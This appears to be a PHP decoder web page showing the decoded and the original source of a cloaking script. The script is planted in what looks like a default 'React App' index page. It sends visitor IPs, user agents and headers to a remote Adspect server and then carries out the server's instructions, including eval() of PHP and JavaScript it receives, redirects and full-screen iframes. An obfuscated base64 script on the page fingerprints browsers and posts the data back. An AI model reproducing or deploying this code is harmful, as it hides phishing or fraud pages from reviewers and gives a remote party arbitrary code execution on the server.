Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ini_set('display_errors', '0'); error_reporting(E_ALL); if (!function_exists('adsp..

Decoded Output download

<?php 
 ini_set('display_errors', '0'); error_reporting(E_ALL); if (!function_exists('adspect')) { function adspect_exit($code, $message) { http_response_code($code); exit($message); } function adspect_dig($array, $key, $default = '') { return array_key_exists($key, $array) ? $array[$key] : $default; } function adspect_resolve_path($path) { if ($path[0] === DIRECTORY_SEPARATOR) { $path = adspect_dig($_SERVER, 'DOCUMENT_ROOT', __DIR__) . $path; } else { $path = __DIR__ . DIRECTORY_SEPARATOR . $path; } return realpath($path); } function adspect_spoof_request($url = '') { $_SERVER['REQUEST_METHOD'] = 'GET'; $_POST = []; if ($url !== '') { $url = parse_url($url); if (isset($url['path'])) { if (substr($url['path'], 0, 1) === '/') { $_SERVER['REQUEST_URI'] = $url['path']; } else { $_SERVER['REQUEST_URI'] = dirname($_SERVER['REQUEST_URI']) . '/' . $url['path']; } } if (isset($url['query'])) { parse_str($url['query'], $_GET); $_SERVER['QUERY_STRING'] = $url['query']; } else { $_GET = []; $_SERVER['QUERY_STRING'] = ''; } } } function adspect_try_files() { foreach (func_get_args() as $path) { if (is_file($path)) { if (!is_readable($path)) { adspect_exit(403, 'Permission denied'); } header('Content-Type: text/html'); switch (strtolower(pathinfo($path, PATHINFO_EXTENSION))) { case 'php': case 'phtml': case 'php5': case 'php4': case 'php3': adspect_execute($path); exit; default: header('Content-Type: ' . adspect_content_type($path)); case 'html': case 'htm': header('Content-Length: ' . filesize($path)); readfile($path); exit; } } } adspect_exit(404, 'File not found'); } function adspect_execute() { global $_adspect; require_once func_get_arg(0); } function adspect_content_type($path) { if (function_exists('mime_content_type')) { $type = mime_content_type($path); if (is_string($type)) { return $type; } } return 'application/octet-stream'; } function adspect_serve_local($url) { $path = (string)parse_url($url, PHP_URL_PATH); if ($path === '') { return null; } $path = adspect_resolve_path($path); if (is_string($path)) { adspect_spoof_request($url); if (is_dir($path)) { chdir($path); adspect_try_files('index.php', 'index.html', 'index.htm'); return; } chdir(dirname($path)); adspect_try_files($path); return; } adspect_exit(404, 'File not found'); } function adspect_tokenize($str, $sep) { $toks = []; $tok = strtok($str, $sep); while ($tok !== false) { $toks[] = $tok; $tok = strtok($sep); } return $toks; } function adspect_x_forwarded_for() { if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { $xff = adspect_tokenize($_SERVER['HTTP_X_FORWARDED_FOR'], ', '); } elseif (array_key_exists('HTTP_X_REAL_IP', $_SERVER)) { $xff = [$_SERVER['HTTP_X_REAL_IP']]; } elseif (array_key_exists('HTTP_REAL_IP', $_SERVER)) { $xff = [$_SERVER['HTTP_REAL_IP']]; } elseif (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { $xff = [$_SERVER['HTTP_CF_CONNECTING_IP']]; } else { $xff = []; } if (array_key_exists('REMOTE_ADDR', $_SERVER)) { $xff[] = $_SERVER['REMOTE_ADDR']; } return array_unique($xff); } function adspect_headers() { $headers = []; foreach ($_SERVER as $key => $value) { if (!strncmp('HTTP_', $key, 5)) { $header = strtr(strtolower(substr($key, 5)), '_', '-'); $headers[$header] = $value; } } return $headers; } function adspect_crypt($in, $key) { $il = strlen($in); $kl = strlen($key); $out = ''; for ($i = 0; $i < $il; ++$i) { $out .= chr(ord($in[$i]) ^ ord($key[$i % $kl])); } return $out; } function adspect_proxy_headers() { $headers = []; foreach (func_get_args() as $key) { if (array_key_exists($key, $_SERVER)) { $header = strtr(strtolower(substr($key, 5)), '_', '-'); $headers[] = "{$header}: {$_SERVER[$key]}"; } } return $headers; } function adspect_proxy($url, $xff, $param = null, $key = null) { $url = parse_url($url); if (empty($url)) { adspect_exit(500, 'Invalid proxy URL'); } extract($url); $curl = curl_init(); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING , ''); curl_setopt($curl, CURLOPT_USERAGENT, adspect_dig($_SERVER, 'HTTP_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36')); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if (!isset($scheme)) { $scheme = 'http'; } if (!isset($host)) { $host = adspect_dig($_SERVER, 'HTTP_HOST', 'localhost'); } if (isset($user, $pass)) { curl_setopt($curl, CURLOPT_USERPWD, "$user:$pass"); $host = "$user:$pass@$host"; } if (isset($port)) { curl_setopt($curl, CURLOPT_PORT, $port); $host = "$host:$port"; } $origin = "$scheme://$host"; if (!isset($path)) { $path = '/'; } if ($path[0] !== '/') { $path = "/$path"; } $url = $path; if (isset($query)) { $url .= "?$query"; } curl_setopt($curl, CURLOPT_URL, $origin . $url); $headers = adspect_proxy_headers('HTTP_ACCEPT', 'HTTP_ACCEPT_ENCODING', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_COOKIE'); $headers[] = 'Cache-Control: no-cache'; if ($xff !== '') { $headers[] = "X-Forwarded-For: {$xff}"; } curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); $data = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); $type = curl_getinfo($curl, CURLINFO_CONTENT_TYPE); curl_close($curl); http_response_code($code); if (is_string($data)) { if (isset($param, $key) && preg_match('{^text/(?:html|css)}i', $type)) { $base = $path; if ($base[-1] !== '/') { $base = dirname($base); } $base = rtrim($base, '/'); $rw = function ($m) use ($origin, $base, $param, $key) { list($repl, $what, $url) = $m; $url = htmlspecialchars_decode($url); $url = parse_url($url); if (!empty($url)) { extract($url); if (isset($host)) { if (!isset($scheme)) { $scheme = 'http'; } $host = "$scheme://$host"; if (isset($user, $pass)) { $host = "$user:$pass@$host"; } if (isset($port)) { $host = "$host:$port"; } } else { $host = $origin; } if (!isset($path)) { $path = ''; } if (!strlen($path) || $path[0] !== '/') { $path = "$base/$path"; } if (!isset($query)) { $query = ''; } $host = base64_encode(adspect_crypt($host, $key)); parse_str($query, $query); $query[$param] = "$path#$host"; $repl = '?' . http_build_query($query); if (isset($fragment)) { $repl .= "#$fragment"; } $repl = htmlspecialchars($repl); if ($what[-1] === '=') { $repl = "\"$repl\""; } $repl = $what . $repl; } return $repl; }; $re = '{(href=|src=|url\()["\']?((?:https?:|(?!#|[[:alnum:]]+:))[^"\'[:space:]>)]+)["\']?}i'; $data = preg_replace_callback($re, $rw, $data); } } else { $data = ''; } header("Content-Type: $type"); header('Content-Length: ' . strlen($data)); echo $data; } function adspect($sid, $mode, $param, $key) { if (!function_exists('curl_init')) { adspect_exit(500, 'php-curl extension is missing'); } if (!function_exists('json_encode') || !function_exists('json_decode')) { adspect_exit(500, 'php-json extension is missing'); } $xff = adspect_x_forwarded_for(); $addr = adspect_dig($xff, 0); $xff = implode(', ', $xff); if (array_key_exists($param, $_GET) && strpos($_GET[$param], '#') !== false) { list($url, $host) = explode('#', $_GET[$param], 2); $host = adspect_crypt(base64_decode($host), $key); unset($_GET[$param]); $query = http_build_query($_GET); $url = "$host$url?$query"; adspect_proxy($url, $xff, $param, $key); exit; } $ajax = intval($mode === 'ajax'); $curl = curl_init(); $sid = adspect_dig($_GET, '__sid', $sid); $ua = adspect_dig($_SERVER, 'HTTP_USER_AGENT'); $referrer = adspect_dig($_SERVER, 'HTTP_REFERER'); $query = http_build_query($_GET); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $payload = json_decode($_POST['data'], true); $payload['headers'] = adspect_headers(); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($payload)); } if ($ajax) { header('Access-Control-Allow-Origin: *'); $cid = adspect_dig($_SERVER, 'HTTP_X_REQUEST_ID'); } else { $cid = adspect_dig($_COOKIE, '_cid'); } curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING, ''); curl_setopt($curl, CURLOPT_HTTPHEADER, [ 'Accept: application/json', "X-Forwarded-For: {$xff}", "X-Forwarded-Host: {$_SERVER['HTTP_HOST']}", "X-Request-ID: {$cid}", "Adspect-IP: {$addr}", "Adspect-UA: {$ua}", "Adspect-JS: {$ajax}", "Adspect-Referrer: {$referrer}", ]); curl_setopt($curl, CURLOPT_URL, "https://rpc.adspect.net/v2/{$sid}?{$query}"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); header('Cache-Control: no-store'); switch ($code) { case 200: case 202: $data = json_decode($json, true); if (!is_array($data)) { adspect_exit(500, 'Invalid backend response'); } global $_adspect; $_adspect = $data; extract($data); if ($ajax) { switch ($action) { case 'php': ob_start(); eval($target); $data['target'] = ob_get_clean(); $json = json_encode($data); break; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); echo $json; } else { header('Content-Type: application/javascript'); echo "window._adata={$json};"; return $target; } } else { if ($js) { setcookie('_cid', $cid, time() + 60); return $target; } switch ($action) { case 'local': return adspect_serve_local($target); case 'noop': adspect_spoof_request($target); return null; case '301': case '302': case '303': header("Location: {$target}", true, (int)$action); break; case 'xar': header("X-Accel-Redirect: {$target}"); break; case 'xsf': header("X-Sendfile: {$target}"); break; case 'refresh': header("Refresh: 0; url={$target}"); adspect_spoof_request(); return null; case 'meta': $target = htmlspecialchars($target); echo "<!DOCTYPE html><head><meta http-equiv=\"refresh\" content=\"0; url={$target}\"></head>"; break; case 'iframe': $target = htmlspecialchars($target); echo "<!DOCTYPE html><html><head><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"></head><body><iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe></body></html>"; break; case 'proxy': adspect_proxy($target, $xff, $param, $key); break; case 'fetch': adspect_proxy($target, $xff); break; case 'return': if (is_numeric($target)) { http_response_code((int)$target); } else { adspect_exit(500, 'Non-numeric status code'); } break; case 'php': eval($target); break; case 'js': $target = htmlspecialchars(base64_encode($target)); echo "<!DOCTYPE html><body><script src=\"data:text/javascript;base64,{$target}\"></script></body>"; break; } } exit; case 404: adspect_exit(404, 'Stream not found'); default: adspect_exit($code, 'Backend response code ' . $code); } } } $target = adspect('6c1f4779-3605-4a83-a9b9-1069507aadf3', 'redirect', '_', base64_decode('kynRFTMaAgRahOwayHLUz52x2i3579pG+LEYltWKHC4=')); if (!isset($target)) { return; } ?> 
<!DOCTYPE html> 
<html lang="en"> 
  <head> 
    <meta charset="utf-8" /> 
    <link rel="icon" href="favicon.ico" /> 
    <meta name="viewport" content="width=device-width, initial-scale=1" /> 
    <meta name="theme-color" content="#000000" /> 
    <meta 
      name="description" 
      content="Web site created using create-react-app" 
    /> 
    <link rel="apple-touch-icon" href="logo192.png" /> 
    <link rel="manifest" href="manifest.json" /> 
    <title>React App</title> 
  </head> 
  <body> 
    <noscript>You need to enable JavaScript to run this app.</noscript> 
    <div id="root"> 
      <script src="data:text/javascript;base64,KGZ1bmN0aW9uKF8weDNjZDM4NixfMHg1ODU2MjUpe3ZhciBfMHhlMTU0Yj1fMHgxNjQ2LF8weDI5Mzk4ZD1fMHgzY2QzODYoKTt3aGlsZSghIVtdKXt0cnl7dmFyIF8weDJhZmJiNT0tcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYzApKS8weDEqKC1wYXJzZUludChfMHhlMTU0YigweDFjYikpLzB4MikrLXBhcnNlSW50KF8weGUxNTRiKDB4MWQ3KSkvMHgzKihwYXJzZUludChfMHhlMTU0YigweDFkMykpLzB4NCkrcGFyc2VJbnQoXzB4ZTE1NGIoMHgxZGUpKS8weDUqKHBhcnNlSW50KF8weGUxNTRiKDB4MWRmKSkvMHg2KSstcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYmYpKS8weDcqKHBhcnNlSW50KF8weGUxNTRiKDB4MWNlKSkvMHg4KSstcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYzcpKS8weDkqKC1wYXJzZUludChfMHhlMTU0YigweDFkMSkpLzB4YSkrcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYzIpKS8weGIqKC1wYXJzZUludChfMHhlMTU0YigweDFkNikpLzB4YykrcGFyc2VJbnQoXzB4ZTE1NGIoMHgxZWIpKS8weGQqKC1wYXJzZUludChfMHhlMTU0YigweDFjZikpLzB4ZSk7aWYoXzB4MmFmYmI1PT09XzB4NTg1NjI1KWJyZWFrO2Vsc2UgXzB4MjkzOThkWydwdXNoJ10oXzB4MjkzOThkWydzaGlmdCddKCkpO31jYXRjaChfMHg1N2E4NzQpe18weDI5Mzk4ZFsncHVzaCddKF8weDI5Mzk4ZFsnc2hpZnQnXSgpKTt9fX0oXzB4MTVmYiwweGQzM2I3KSwoZnVuY3Rpb24oKXt2YXIgXzB4NDdlODIzPV8weDE2NDYsXzB4ZGE3YzlkPVtdLF8weDIxMGM3ND17fTt0cnl7ZnVuY3Rpb24gXzB4Mjc3YmQ5KF8weDU0OGRkZil7dmFyIF8weDE5NmEyOT1fMHgxNjQ2O2lmKCdvYmplY3QnPT09dHlwZW9mIF8weDU0OGRkZiYmbnVsbCE9PV8weDU0OGRkZil7dmFyIF8weDQyOTg0MT17fTtmdW5jdGlvbiBfMHgxNzFmMGMoXzB4M2FiZTY5KXt2YXIgXzB4MTZiN2YyPV8weDE2NDY7dHJ5e3ZhciBfMHgyMzYzOTQ9XzB4NTQ4ZGRmW18weDNhYmU2OV07c3dpdGNoKHR5cGVvZiBfMHgyMzYzOTQpe2Nhc2UgXzB4MTZiN2YyKDB4MWJkKTppZihudWxsPT09XzB4MjM2Mzk0KWJyZWFrO2Nhc2UgXzB4MTZiN2YyKDB4MWJiKTpfMHgyMzYzOTQ9XzB4MjM2Mzk0Wyd0b1N0cmluZyddKCk7fV8weDQyOTg0MVtfMHgzYWJlNjldPV8weDIzNjM5NDt9Y2F0Y2goXzB4NTljYjE4KXtfMHhkYTdjOWRbXzB4MTZiN2YyKDB4MWVmKV0oXzB4NTljYjE4W18weDE2YjdmMigweDFiYyldKTt9fWZvcih2YXIgXzB4MTAzMmI3IGluIF8weDU0OGRkZilfMHgxNzFmMGMoXzB4MTAzMmI3KTt0cnl7dmFyIF8weDRhZGEzNj1PYmplY3RbXzB4MTk2YTI5KDB4MWVjKV0oXzB4NTQ4ZGRmKTtmb3IoXzB4MTAzMmI3PTB4MDtfMHgxMDMyYjc8XzB4NGFkYTM2W18weDE5NmEyOSgweDFkNCldOysrXzB4MTAzMmI3KV8weDE3MWYwYyhfMHg0YWRhMzZbXzB4MTAzMmI3XSk7XzB4NDI5ODQxWychISddPV8weDRhZGEzNjt9Y2F0Y2goXzB4NGI0ZGQ0KXtfMHhkYTdjOWRbJ3B1c2gnXShfMHg0YjRkZDRbXzB4MTk2YTI5KDB4MWJjKV0pO31yZXR1cm4gXzB4NDI5ODQxO319XzB4MjEwYzc0W18weDQ3ZTgyMygweDFjMSldPV8weDI3N2JkOSh3aW5kb3dbXzB4NDdlODIzKDB4MWMxKV0pLF8weDIxMGM3NFtfMHg0N2U4MjMoMHgxZTIpXT1fMHgyNzdiZDkod2luZG93KSxfMHgyMTBjNzRbJ25hdmlnYXRvciddPV8weDI3N2JkOSh3aW5kb3dbXzB4NDdlODIzKDB4MWI4KV0pLF8weDIxMGM3NFsnbG9jYXRpb24nXT1fMHgyNzdiZDkod2luZG93W18weDQ3ZTgyMygweDFkYildKSxfMHgyMTBjNzRbXzB4NDdlODIzKDB4MWU1KV09XzB4Mjc3YmQ5KHdpbmRvd1snY29uc29sZSddKSxfMHgyMTBjNzRbXzB4NDdlODIzKDB4MWNkKV09ZnVuY3Rpb24oXzB4NWFmMGNkKXt2YXIgXzB4NGYxYTgxPV8weDQ3ZTgyMzt0cnl7dmFyIF8weDFlYTgyNT17fTtfMHg1YWYwY2Q9XzB4NWFmMGNkW18weDRmMWE4MSgweDFiNSldO2Zvcih2YXIgXzB4MTBjYjNhIGluIF8weDVhZjBjZClfMHgxMGNiM2E9XzB4NWFmMGNkW18weDEwY2IzYV0sXzB4MWVhODI1W18weDEwY2IzYVtfMHg0ZjFhODEoMHgxZTYpXV09XzB4MTBjYjNhW18weDRmMWE4MSgweDFlMSldO3JldHVybiBfMHgxZWE4MjU7fWNhdGNoKF8weGJhMzQzZCl7XzB4ZGE3YzlkW18weDRmMWE4MSgweDFlZildKF8weGJhMzQzZFsnbWVzc2FnZSddKTt9fShkb2N1bWVudFtfMHg0N2U4MjMoMHgxY2QpXSksXzB4MjEwYzc0W18weDQ3ZTgyMygweDFkOSldPV8weDI3N2JkOShkb2N1bWVudCk7dHJ5e18weDIxMGM3NFtfMHg0N2U4MjMoMHgxZTgpXT1uZXcgRGF0ZSgpW18weDQ3ZTgyMygweDFiNyldKCk7fWNhdGNoKF8weDQ3OWQ5ZSl7XzB4ZGE3YzlkW18weDQ3ZTgyMygweDFlZildKF8weDQ3OWQ5ZVtfMHg0N2U4MjMoMHgxYmMpXSk7fXRyeXtfMHgyMTBjNzRbJ2Nsb3N1cmUnXT1mdW5jdGlvbigpe31bXzB4NDdlODIzKDB4MWRkKV0oKTt9Y2F0Y2goXzB4MTg2MGVhKXtfMHhkYTdjOWRbJ3B1c2gnXShfMHgxODYwZWFbXzB4NDdlODIzKDB4MWJjKV0pO310cnl7XzB4MjEwYzc0Wyd0b3VjaEV2ZW50J109ZG9jdW1lbnRbXzB4NDdlODIzKDB4MWUwKV0oXzB4NDdlODIzKDB4MWU0KSlbXzB4NDdlODIzKDB4MWRkKV0oKTt9Y2F0Y2goXzB4MjNjZTFhKXtfMHhkYTdjOWRbXzB4NDdlODIzKDB4MWVmKV0oXzB4MjNjZTFhW18weDQ3ZTgyMygweDFiYyldKTt9dHJ5e3ZhciBfMHgzMjQ2YmQ9ZnVuY3Rpb24oKXt9LF8weDMwNTY1ZD0weDA7XzB4MzI0NmJkW18weDQ3ZTgyMygweDFkZCldPWZ1bmN0aW9uKCl7cmV0dXJuKytfMHgzMDU2NWQsJyc7fSxjb25zb2xlW18weDQ3ZTgyMygweDFiOSldKF8weDMyNDZiZCksXzB4MjEwYzc0Wyd0b3N0cmluZyddPV8weDMwNTY1ZDt9Y2F0Y2goXzB4MzYwODM4KXtfMHhkYTdjOWRbJ3B1c2gnXShfMHgzNjA4MzhbXzB4NDdlODIzKDB4MWJjKV0pO310cnl7dmFyIF8weDhmYzNkMz1kb2N1bWVudFtfMHg0N2U4MjMoMHgxZGMpXShfMHg0N2U4MjMoMHgxZWQpKVsnZ2V0Q29udGV4dCddKF8weDQ3ZTgyMygweDFkOCkpLF8weDI5MzU5Yj1fMHg4ZmMzZDNbXzB4NDdlODIzKDB4MWJlKV0oXzB4NDdlODIzKDB4MWM0KSk7XzB4MjEwYzc0W18weDQ3ZTgyMygweDFkOCldPXsndmVuZG9yJzpfMHg4ZmMzZDNbXzB4NDdlODIzKDB4MWM2KV0oXzB4MjkzNTliWydVTk1BU0tFRF9WRU5ET1JfV0VCR0wnXSksJ3JlbmRlcmVyJzpfMHg4ZmMzZDNbXzB4NDdlODIzKDB4MWM2KV0oXzB4MjkzNTliW18weDQ3ZTgyMygweDFjOCldKX07fWNhdGNoKF8weDQ4NDFhNil7XzB4ZGE3YzlkW18weDQ3ZTgyMygweDFlZildKF8weDQ4NDFhNltfMHg0N2U4MjMoMHgxYmMpXSk7fWZ1bmN0aW9uIF8weDkzNTEyNyhfMHg5ODk1YmQsXzB4Nzc5NWQ0LF8weDRlOTM5Yil7dmFyIF8weDI1ODc1OD1fMHg0N2U4MjMsXzB4MjBkODFlPV8weDk4OTViZFtfMHgyNTg3NTgoMHgxZWUpXVtfMHg3Nzk1ZDRdO18weDk4OTViZFtfMHgyNTg3NTgoMHgxZWUpXVtfMHg3Nzk1ZDRdPWZ1bmN0aW9uKCl7dmFyIF8weDM4ZDgwZj1fMHgyNTg3NTg7XzB4MjEwYzc0W18weDM4ZDgwZigweDFkYSldPSEweDA7fSxfMHg0ZTkzOWIoKSxfMHg5ODk1YmRbXzB4MjU4NzU4KDB4MWVlKV1bXzB4Nzc5NWQ0XT1fMHgyMGQ4MWU7fXRyeXtfMHg5MzUxMjcoQXJyYXksJ2luY2x1ZGVzJyxmdW5jdGlvbigpe3ZhciBfMHg0NTJmOWI9XzB4NDdlODIzO3JldHVybiBkb2N1bWVudFsnY3JlYXRlRWxlbWVudCddKCd2aWRlbycpW18weDQ1MmY5YigweDFlNyldKF8weDQ1MmY5YigweDFlYSkpO30pO31jYXRjaChfMHg1N2Q4YjApe319Y2F0Y2goXzB4NTFlMDY3KXtfMHhkYTdjOWRbXzB4NDdlODIzKDB4MWVmKV0oXzB4NTFlMDY3W18weDQ3ZTgyMygweDFiYyldKTt9KGZ1bmN0aW9uKCl7dmFyIF8weDM2YTk1ZD1fMHg0N2U4MjM7XzB4MjEwYzc0W18weDM2YTk1ZCgweDFkMCldPV8weGRhN2M5ZDt2YXIgXzB4NTYwM2VkPWRvY3VtZW50WydjcmVhdGVFbGVtZW50J10oXzB4MzZhOTVkKDB4MWMzKSksXzB4MzQwNGI3PWRvY3VtZW50WydjcmVhdGVFbGVtZW50J10oXzB4MzZhOTVkKDB4MWNjKSk7XzB4NTYwM2VkW18weDM2YTk1ZCgweDFjNSldPV8weDM2YTk1ZCgweDFjOSksXzB4NTYwM2VkWydhY3Rpb24nXT13aW5kb3dbXzB4MzZhOTVkKDB4MWRiKV1bXzB4MzZhOTVkKDB4MWNhKV0sXzB4MzQwNGI3W18weDM2YTk1ZCgweDFlMyldPSdoaWRkZW4nLF8weDM0MDRiN1snbmFtZSddPSdkYXRhJyxfMHgzNDA0YjdbXzB4MzZhOTVkKDB4MWJhKV09SlNPTltfMHgzNmE5NWQoMHgxZTkpXShfMHgyMTBjNzQpLF8weDU2MDNlZFtfMHgzNmE5NWQoMHgxYjYpXShfMHgzNDA0YjcpLGRvY3VtZW50W18weDM2YTk1ZCgweDFkNSldW18weDM2YTk1ZCgweDFiNildKF8weDU2MDNlZCksXzB4NTYwM2VkW18weDM2YTk1ZCgweDFkMildKCk7fSgpKTt9KCkpKTtmdW5jdGlvbiBfMHgxNjQ2KF8weDNmNTJjMSxfMHg0NDJmODYpe3ZhciBfMHgxNWZiZjA9XzB4MTVmYigpO3JldHVybiBfMHgxNjQ2PWZ1bmN0aW9uKF8weDE2NDZiMixfMHgxN2M4MjEpe18weDE2NDZiMj1fMHgxNjQ2YjItMHgxYjU7dmFyIF8weDRjODk3OD1fMHgxNWZiZjBbXzB4MTY0NmIyXTtyZXR1cm4gXzB4NGM4OTc4O30sXzB4MTY0NihfMHgzZjUyYzEsXzB4NDQyZjg2KTt9ZnVuY3Rpb24gXzB4MTVmYigpe3ZhciBfMHgzYzQwMWM9Wyc2OUNEd0lraCcsJ3dlYmdsJywnZG9jdW1lbnQnLCdwcm90bycsJ2xvY2F0aW9uJywnY3JlYXRlRWxlbWVudCcsJ3RvU3RyaW5nJywnNDIwNzkwY0xnbE9VJywnNzhHYWp1ZHAnLCdjcmVhdGVFdmVudCcsJ25vZGVWYWx1ZScsJ3dpbmRvdycsJ3R5cGUnLCdUb3VjaEV2ZW50JywnY29uc29sZScsJ25vZGVOYW1lJywnY2FuUGxheVR5cGUnLCd0aW1lem9uZU9mZnNldCcsJ3N0cmluZ2lmeScsJ3ZpZGVvL21wNCcsJzE3MDU3M2FJUkZLVicsJ2dldE93blByb3BlcnR5TmFtZXMnLCdjYW52YXMnLCdwcm90b3R5cGUnLCdwdXNoJywnYXR0cmlidXRlcycsJ2FwcGVuZENoaWxkJywnZ2V0VGltZXpvbmVPZmZzZXQnLCduYXZpZ2F0b3InLCdsb2cnLCd2YWx1ZScsJ2Z1bmN0aW9uJywnbWVzc2FnZScsJ29iamVjdCcsJ2dldEV4dGVuc2lvbicsJzU4MU1nVW9PdicsJzE4eG1qRkhuJywnc2NyZWVuJywnMTFBUXRPdnknLCdmb3JtJywnV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbycsJ21ldGhvZCcsJ2dldFBhcmFtZXRlcicsJzE0MjczNzNRUHpLSkUnLCdVTk1BU0tFRF9SRU5ERVJFUl9XRUJHTCcsJ1BPU1QnLCdocmVmJywnMTc4NzM4cFJFeEpnJywnaW5wdXQnLCdkb2N1bWVudEVsZW1lbnQnLCc0Nzg0OENoa1lHbicsJzUzMlFxT1lhdicsJ2Vycm9ycycsJzIwcVlEZXpxJywnc3VibWl0JywnMTQzODY4b2duQld4JywnbGVuZ3RoJywnYm9keScsJzM5ODkwNTJyS0N5S0knXTtfMHgxNWZiPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDNjNDAxYzt9O3JldHVybiBfMHgxNWZiKCk7fQ=="></script> 
    </div> 
  </body> 
</html> 

Did this file decode correctly?

Original Code

<?php
 ini_set('display_errors', '0'); error_reporting(E_ALL); if (!function_exists('adspect')) { function adspect_exit($code, $message) { http_response_code($code); exit($message); } function adspect_dig($array, $key, $default = '') { return array_key_exists($key, $array) ? $array[$key] : $default; } function adspect_resolve_path($path) { if ($path[0] === DIRECTORY_SEPARATOR) { $path = adspect_dig($_SERVER, 'DOCUMENT_ROOT', __DIR__) . $path; } else { $path = __DIR__ . DIRECTORY_SEPARATOR . $path; } return realpath($path); } function adspect_spoof_request($url = '') { $_SERVER['REQUEST_METHOD'] = 'GET'; $_POST = []; if ($url !== '') { $url = parse_url($url); if (isset($url['path'])) { if (substr($url['path'], 0, 1) === '/') { $_SERVER['REQUEST_URI'] = $url['path']; } else { $_SERVER['REQUEST_URI'] = dirname($_SERVER['REQUEST_URI']) . '/' . $url['path']; } } if (isset($url['query'])) { parse_str($url['query'], $_GET); $_SERVER['QUERY_STRING'] = $url['query']; } else { $_GET = []; $_SERVER['QUERY_STRING'] = ''; } } } function adspect_try_files() { foreach (func_get_args() as $path) { if (is_file($path)) { if (!is_readable($path)) { adspect_exit(403, 'Permission denied'); } header('Content-Type: text/html'); switch (strtolower(pathinfo($path, PATHINFO_EXTENSION))) { case 'php': case 'phtml': case 'php5': case 'php4': case 'php3': adspect_execute($path); exit; default: header('Content-Type: ' . adspect_content_type($path)); case 'html': case 'htm': header('Content-Length: ' . filesize($path)); readfile($path); exit; } } } adspect_exit(404, 'File not found'); } function adspect_execute() { global $_adspect; require_once func_get_arg(0); } function adspect_content_type($path) { if (function_exists('mime_content_type')) { $type = mime_content_type($path); if (is_string($type)) { return $type; } } return 'application/octet-stream'; } function adspect_serve_local($url) { $path = (string)parse_url($url, PHP_URL_PATH); if ($path === '') { return null; } $path = adspect_resolve_path($path); if (is_string($path)) { adspect_spoof_request($url); if (is_dir($path)) { chdir($path); adspect_try_files('index.php', 'index.html', 'index.htm'); return; } chdir(dirname($path)); adspect_try_files($path); return; } adspect_exit(404, 'File not found'); } function adspect_tokenize($str, $sep) { $toks = []; $tok = strtok($str, $sep); while ($tok !== false) { $toks[] = $tok; $tok = strtok($sep); } return $toks; } function adspect_x_forwarded_for() { if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { $xff = adspect_tokenize($_SERVER['HTTP_X_FORWARDED_FOR'], ', '); } elseif (array_key_exists('HTTP_X_REAL_IP', $_SERVER)) { $xff = [$_SERVER['HTTP_X_REAL_IP']]; } elseif (array_key_exists('HTTP_REAL_IP', $_SERVER)) { $xff = [$_SERVER['HTTP_REAL_IP']]; } elseif (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { $xff = [$_SERVER['HTTP_CF_CONNECTING_IP']]; } else { $xff = []; } if (array_key_exists('REMOTE_ADDR', $_SERVER)) { $xff[] = $_SERVER['REMOTE_ADDR']; } return array_unique($xff); } function adspect_headers() { $headers = []; foreach ($_SERVER as $key => $value) { if (!strncmp('HTTP_', $key, 5)) { $header = strtr(strtolower(substr($key, 5)), '_', '-'); $headers[$header] = $value; } } return $headers; } function adspect_crypt($in, $key) { $il = strlen($in); $kl = strlen($key); $out = ''; for ($i = 0; $i < $il; ++$i) { $out .= chr(ord($in[$i]) ^ ord($key[$i % $kl])); } return $out; } function adspect_proxy_headers() { $headers = []; foreach (func_get_args() as $key) { if (array_key_exists($key, $_SERVER)) { $header = strtr(strtolower(substr($key, 5)), '_', '-'); $headers[] = "{$header}: {$_SERVER[$key]}"; } } return $headers; } function adspect_proxy($url, $xff, $param = null, $key = null) { $url = parse_url($url); if (empty($url)) { adspect_exit(500, 'Invalid proxy URL'); } extract($url); $curl = curl_init(); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING , ''); curl_setopt($curl, CURLOPT_USERAGENT, 